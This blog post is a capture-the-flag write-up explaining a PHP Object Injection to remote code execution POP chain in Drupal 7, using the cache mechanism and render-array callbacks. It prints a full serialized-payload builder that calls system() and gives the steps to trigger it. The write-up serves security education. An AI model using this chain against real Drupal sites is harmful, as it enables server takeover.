Blog post

CTF Writeup: Complex Drupal POP Chain

Simon Scannell photo

Simon Scannell

Vulnerability Researcher


  • Security
A recent Capture-The-Flag tournament hosted by Insomni’hack challenged participants to craft an attack payload for Drupal 7. This blog post will demonstrate our solution for a PHP Object ...

A recent Capture-The-Flag tournament hosted by Insomni’hack challenged participants to craft an attack payload for Drupal 7. This blog post will demonstrate our solution for a PHP Object Injection with a complex POP gadget chain.

About the Challenge

The Droops challenge consisted of a website which had a modified version of Drupal 7.63 installed. The creators of the challenge added a Cookie to the Drupal installation that contained a PHP serialized string, which would then be unserialized on the remote server, leading to a PHP Object Injection vulnerability. Finding the cookie was straightforward and the challenge was obvious: Finding and crafting a POP chain for Drupal.

If you are not familiar with PHP Object Injections we recommend reading our blog post about the basics of PHP Object Injections.

Drupal POP Chain to Drupalgeddon 2

We found the following POP chain in the Drupal source code that affects its cache mechanism. Through the POP chain it was possible to inject into the Drupal cache and abuse the same feature that lead to the Drupalgeddon 2 vulnerability. No knowledge of this vulnerability is required to read this blog post, as each relevant step will be explained.

The POP chain is a second-order Remote Code Execution, which means that it consists of two steps:

  1. Injecting into the database cache the rendering engine uses
  2. Exploiting the rendering engine and Drupalgeddon 2

Injecting into the cache

The DrupalCacheArray class in includes/ implements a destructor and writes some data to the database cache with the method set(). This is our entry point of our gadget chain.

 1    /**
 2     * Destructs the DrupalCacheArray object.
 3     */
 4    public function __destruct() {
 5        $data = array();
 6        foreach ($this->keysToPersist as $offset => $persist) {
 7            if ($persist) {
 8                $data[$offset] = $this->storage[$offset];
 9            }
10        }
11        if (!empty($data)) {
12            $this->set($data);
13        }
14    }

The set() method will essentially call Drupal’s cache_set() function with $this->cid$data, and $this->bin, which are all under control of the attacker since they are properties of the injected object. We assumed that we are now able to inject arbitrary data into the Drupal cache.

 1    protected function set($data, $lock = TRUE) {
 2        // Lock cache writes to help avoid stampedes.
 3        // To implement locking for cache misses, override __construct().
 4        $lock_name = $this->cid . ':' . $this->bin;
 5        if (!$lock || lock_acquire($lock_name)) {
 6            if ($cached = cache_get($this->cid, $this->bin)) {
 7                $data = $cached->data + $data;
 8            }
 9            cache_set($this->cid, $data, $this->bin);
10            if ($lock) {
11                lock_release($lock_name);
12            }
13        }
14    }

In order to find out if this assumption was true, we started digging into the internals of the Drupal cache. We found out that the cache entries are stored in the database. Each cache type has its own table. (A cache for forms, one for pages and so on.)

 1    MariaDB [drupal7]> SHOW TABLES;
 2    +-----------------------------+
 3    | Tables_in_drupal7           |
 4    +-----------------------------+
 5    ...
 6    | cache                       |
 7    | cache_block                 |
 8    | cache_bootstrap             |
 9    | cache_field                 |
10    | cache_filter                |
11    | cache_form                  |
12    | cache_image                 |
13    | cache_menu                  |
14    | cache_page                  |
15    | cache_path                  |
16    ...

After a bit more of digging around, we discovered that the table name is the equivalent to $this->bin. This means we can set bin to be of any cache type and inject into any cache table. But what can we do with this?

The next step was to analyze the different cache tables for interesting entries and their structure.

 1     MariaDB [drupal7]> DESC cache_form;
 2     +------------+--------------+------+-----+---------+-------+
 3     | Field      | Type         | Null | Key | Default | Extra |
 4     +------------+--------------+------+-----+---------+-------+
 5     | cid        | varchar(255) | NO   | PRI |         |       |
 6     | data       | longblob     | YES  |     | NULL    |       |
 7     | expire     | int(11)      | NO   | MUL | 0       |       |
 8     | created    | int(11)      | NO   |     | 0       |       |
 9     | serialized | smallint(6)  | NO   |     | 0       |       |
10     +------------+--------------+------+-----+---------+-------+

For example the  cache_form table has a column called cid. As a reminder, one of the arguments to cache_set() was $this->cid. We assumed the following: $this->cid maps to the cid column of the cache table, which is set in $this->bincid is the key of a cache entry and the data column simply is the $data parameter in cache_set().

To verify all these assumptions we created a serialized payload locally by creating a class in a build.php file and unserialized it on my test Drupal setup:

 1     class SchemaCache {
 2         // Insert an entry with some cache_key
 3         protected $cid = "some_cache_key";
 5         // Insert it into the cache_form table
 6         protected $bin = "cache_form";
 8         protected $keysToPersist = array('input_data' => true);
10        protected $storage = array('input_data' => array("arbitrary data!"));
11    }
12    $schema = new SchemaCache();
13    echo serialize($schema);

The reason we used the SchemaCache class here is that it extends the abstract class DrupalCacheArray, which means it can’t be instantiated on its own. The deserialization of this data leads to the following entry in the cache_form table being created:

1    MariaDB [drupal7]> SELECT * FROM cache_form;
2    +----------------+-----------------------------------------------------------+--------+------------+------------+
3    | cid            | data                                                      | expire | created    | serialized |
4    +----------------+-----------------------------------------------------------+--------+------------+------------+
5    | some_cache_key | a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}} |      0 | 1548684864 |          1 |
6    +----------------+-----------------------------------------------------------+--------+------------+------------+

Using the injected cached data to gain Remote Code Execution

Since we were now able to inject arbitrary data into any caching table, we started to search for ways in which the cache was used by Drupal that could be used to gain Remote Code Execution. After a bit of searching, we stumbled upon the following ajax callback, which can be triggered by making a request to the URL:

1    function ajax_form_callback() {
2        list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
3        drupal_process_form($form['#form_id'], $form, $form_state);
4    }

The ajax_get_form() function internally uses cache_get() to retrieve a cached entry from the cache_form table:

1    if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
2        $form = $cached->data;
3        ...
4        return $form;
5    }

This is interesting because this means it is possible to pass an arbitrary form render array to drupal_process_form(). As previously mentioned, the Drupalgeddon 2 vulnerability abused this feature, so chances were high that code execution could be achieved with the ability to inject arbitrary render arrays into the rendering engine.

Within drupal_process_form(), we found the following lines of code:

1  if (isset($element['#process']) && !$element['#processed']) {
2    foreach ($element['#process'] as $process) {
3      $element = $process($element, $form_state, $form_state['complete form']);
4    }

Here, $element refers to the $form received via cache_get(), meaning the keys and values of the array can be set arbitrarily. This means it is possible to simply set an arbitrary process (#process) callback and execute it with the render array as a parameter. Since the first argument is an array, it is not possible to simply call a function such as system() directly. What is required is a function that takes an array as input that leads to RCE.

The drupal_process_attached() function seemed very promising:

 1    function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
 2        ...
 3        foreach ($elements['#attached'] as $callback => $options) {
 4            if (function_exists($callback)) {
 5                foreach ($elements['#attached'][$callback] as $args) {
 6                    call_user_func_array($callback, $args);
 7                }
 8            }
 9        }
11        return $success;

Since all array keys and values can be set arbitrarily, is is possible to call an arbitrary function with arbitrary arguments via call_user_func_array(), which leads to RCE!

This means the final POP chain looks like this:

 1    <?php
 2    class SchemaCache {
 3        // Insert an entry with some cache_key
 4        protected $cid = "form_1337";
 6        // Insert it into the cache_form table
 7        protected $bin = "cache_form";
 9        protected $keysToPersist = array(
10            '#form_id' => true,
11            '#process' => true,
12            '#attached' => true
13        );
15        protected $storage = array(
16            '#form_id' => 1337,
17            '#process' => array('drupal_process_attached'),
18            '#attached' => array(
19                'system' => array(array('sleep 20'))
20            )
21        );
22    }
24    $schema = new SchemaCache();
25    echo serialize($schema);

All that is left to do is to trigger the PHP Object Injection vulnerability with the resulting serialized string and then to make a POST request to and set the POST parameter form_build_id to 1337 to trigger the RCE.


POP chains can often become more complex and require a deeper knowledge of the application. However, the purpose of this blog post was to demonstrate that exploitation is still possible, even if no obvious, first order POP chain exists. If we had not known that the rendering API of drupal uses a lot of callbacks and had vulnerabilities in the past, we probably would not have found this particular POP chain. Alternatively, deep PHP knowledge can also lead to working POP chains when no obvious POP chain can be found. There exists another POP chain, an Object Instantion to Blind XXE to File Read to SQL Injection to RCE. A write up for this POP chain was written by Paul Axe and can be found here. We also would like to thank the creators for creating this and the other amazing challenges for the Insomni’hack CTF 2019.

Related Posts